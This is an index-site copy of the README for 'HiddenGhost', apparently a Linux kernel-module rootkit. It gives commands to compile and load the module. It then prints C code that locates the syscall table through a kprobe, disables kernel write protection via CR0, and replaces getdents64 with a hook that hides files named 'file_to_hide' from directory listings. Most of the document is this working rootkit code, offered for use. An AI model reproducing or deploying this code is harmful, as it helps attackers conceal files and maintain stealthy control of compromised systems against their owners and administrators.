An open API service indexing awesome lists of open source software.

https://github.com/thebigcicca/HiddenGhost

HiddenGhost is an new solution for find system call table with support for 5.7x kernels +
https://github.com/thebigcicca/HiddenGhost

linux-kernel-hacking linux-kernel-module linux-rootkit lkm lkm-rootkit rootkit syscall syscall-hook syscalls

Last synced: 5 months ago
JSON representation

HiddenGhost is an new solution for find system call table with support for 5.7x kernels +

Awesome Lists containing this project

README

          

== HiddenGhost

Hidden Ghost *is an new solution for find system call table with support for 5.7x kernels +*. Hidden Ghost finds the syscall table via the ```kallsyms_lookup_name``` module with the `````` headder.

Before starting the explanation of how the rootkit works in depth I will explain the basics.

** Tested On:

[✔️] Debian 12 6.7X amd64

** Usage:

```
1) install the kernel headers:

sudo apt install linux-headers-$(uname -r)

2) Install Development Tools:

sudo apt install build-essential

3) Install the Kernel Development Kit:

sudo apt install linux-headers-$(uname -r) linux-source

4) Go to the /src directory:

cd src

5) Module Compilation:

make

6) Load the module:

sudo insmod main.ko

7) Check if the module has been loaded:

dmesg | tail -n 10

```

After these steps are completed, you should see this message:

image::img/HiddenGhost.png[]

** What is Hooking:

Hooking is the act of redirecting/modifying a certain code stream, this redirect technique can be used for good and for bad, a big example of using this technique is mid function hooking This time I saw an example midFunction hook in the Unknown cheats forum that created a function ```jmp 0xE9``` at address ```pAddres``` I won't take much of your time explaining how it works and such because there are articles about it, I left two articles at the end of this readme, mine where I explain in depth about lkm and the one about MidFunction hook.

** And how does it hook the syscall?

* 1) Find the Syscalls Table:

- The ``find_syscall_table`` function uses the kprobes module to find the address of the kernel syscall table (sys_call_table).

```c
unsigned long *find_syscall_table(void)
{
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;

register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);

__syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return __syscall_table;
}
```

* 2) Unprotect Memory

- The ``unprotect_memory`` function disables write protection on the page containing the syscall table, allowing the rootkit to modify the syscall table.

```c
static inline void unprotect_memory(void)
{
write_cr0_forced(cr0 & ~0x00010000);
}
```

* 3) Replace the Original Function

- In ghost_init, the address of the original getdents64 syscall is saved and replaced with the address of the hook function (hook_getdents64).

```c
static int __init ghost_init(void)
{
__syscall_table = find_syscall_table();
if (!__syscall_table) {
printk(KERN_INFO "Error, syscall_table not found");
return -1;
}

cr0 = read_cr0();
orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
unprotect_memory();
__syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
protect_memory();

printk(KERN_INFO "Rootkit loaded: Syscall hooked\n");
return 0;
}
```

* 4) Protect Memory

After replacement, write protection is restored.

```c
static inline void protect_memory(void)
{
write_cr0_forced(cr0);
}
```

* 5) Interception and Manipulation

- The hook function hook_getdents64 intercepts calls to getdents64, checks file names, and hides any file named file_to_hide.

```c
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
int ret = orig_getdents64(fd, dirp, count);
struct linux_dirent64 *d, *kd, *kdirent = NULL;
unsigned long offset = 0;

if (ret <= 0)
return ret;

kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;

if (copy_from_user(kdirent, dirp, ret)) {
kfree(kdirent);
return ret;
}

while (offset < ret) {
d = (struct linux_dirent64 *)((char *)kdirent + offset);
if (strcmp(d->d_name, "file_to_hide") == 0) {
memmove(d, (char *)d + d->d_reclen, ret - offset - d->d_reclen);
ret -= d->d_reclen;
} else {
offset += d->d_reclen;
}
}

copy_to_user(dirp, kdirent, ret);
kfree(kdirent);
return ret;
}
```

* 6) Unloading and Restoring

- When unloading the module, the original syscall is restored:

```c
static void __exit ghost_exit(void)
{
unprotect_memory();
__syscall_table[MY_NR_getdents] = (unsigned long)orig_getdents64;
protect_memory();

printk(KERN_INFO "Rootkit unloaded: Syscall restored\n");
}
```

link of articles:

https://github.com/Ch4r0nN/LKM-Exploration[LKM-Exploration Making drivers from basic to advanced]

https://www.unknowncheats.me/forum/c-and-c-/67884-mid-function-hook-deal.html[Unknown Cheats]

Links to the repositories I based on:

https://github.com/m0nad/Diamorphine[Diamorphine]

https://github.com/xcellerator/linux_kernel_hacking[Linux Kernel Hacking]